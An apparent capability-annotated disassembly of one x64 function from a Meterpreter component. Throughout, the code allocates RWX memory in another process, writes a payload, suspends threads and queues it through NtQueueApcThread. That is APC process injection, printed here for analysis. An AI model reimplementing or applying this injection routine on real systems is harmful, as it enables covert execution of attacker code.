Function at 0x180013338
Capabilities:
Allocate or change rwx memory
Enumerate threads
Execute shellcode via indirect call
Resume thread
Suspend thread

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
mov dword [rax + 0x20], r9d
mov qword [rax + 0x10], rdx
mov qword [rax + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
xor eax, eax
xor esi, esi
mov rdi, r8
and dword [rbp - 0x28], esi
and qword [rbp - 0x40], rax
mov r12, rdx
mov qword [rbp - 0x24], rax
mov qword [rbp - 0x1c], rax
mov qword [rbp - 0x14], rax
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], rax
mov r13, rcx
mov ebx, 5
xor r14d, r14d
call fcn.180007748
mov r15, rax
test rax, rax
je 0x1800135d7
cmp dword [rbp + 0x60], 1
mov rax, qword [rbp + 0x68]
mov byte [rbp - 0x30], sil
mov qword [rbp - 0x40], rax
mov rax, qword [rbp + 0x70]
mov dword [rbp - 0x28], 0x1c
mov qword [rbp - 0x38], rax
jne 0x1800133c9
mov ecx, ebx
jmp 0x18001354a
cmp dword [rbp + 0x60], 2
jne 0x180013545
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, rax
mov qword [rbp - 0x48], rax
test rax, rax
je 0x180013550
lea rdx, str.NtQueueApcThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x50], rax
test rax, rax
je 0x180013550
xor edx, edx
lea ecx, [rdx + 4]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rsi, rax
test rax, rax
je 0x180013550
lea rdx, [rbp - 0x28]
mov rcx, rax
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x180013550
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x15c
mov rcx, rdi
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
test rax, rax
jne 0x18001346d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r13, qword [rbp + 0x40]
jmp 0x180013556
and qword [rsp + 0x20], 0
lea r8, [0x180030020]
mov r9d, 0x144
mov rdx, rax
mov rcx, rdi
lea r12, [rax + 0x144]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1800134a3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r12, qword [rbp + 0x48]
jmp 0x180013464
and qword [rsp + 0x20], 0
lea r8, [rbp - 0x40]
mov r9d, 0x18
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180013497
mov r14, qword [rbp - 0x50]
mov eax, dword [rbp + 0x58]
cmp dword [rbp - 0x1c], eax
jne 0x180013527
mov r8d, dword [rbp - 0x20]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
je 0x180013527
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x18001351e
mov rdx, rdi
mov rcx, r15
call fcn.1800079fc
and qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, r12
mov rdx, r13
mov rcx, rdi
call r14
test eax, eax
jne 0x180013527
xor ebx, ebx
jmp 0x180013527
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp - 0x28]
mov rcx, rsi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x1800134c7
mov r14, qword [rbp - 0x48]
mov r12, qword [rbp + 0x48]
mov r13, qword [rbp + 0x40]
jmp 0x180013558
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_SetLastError]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test ebx, ebx
jne 0x1800135a3
test r13, r13
je 0x1800135a3
test r12, r12
je 0x1800135a3
lea r8d, [rbx + 2]
mov edx, 0x20196
mov rcx, r12
call sym.metsrv.dll_packet_add_tlv_uint
mov r8, r12
mov rdx, r13
xor ecx, ecx
call sym.metsrv.dll_packet_transmit_response
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1800135a3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call fcn.180007a88
mov rdi, rax
test rax, rax
jne 0x180013591
mov rcx, r15
call fcn.180007798
test rsi, rsi
je 0x1800135c9
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r14, r14
je 0x1800135d7
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, ebx
mov rbx, qword [rsp + 0xd0]
add rsp, 0x80
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret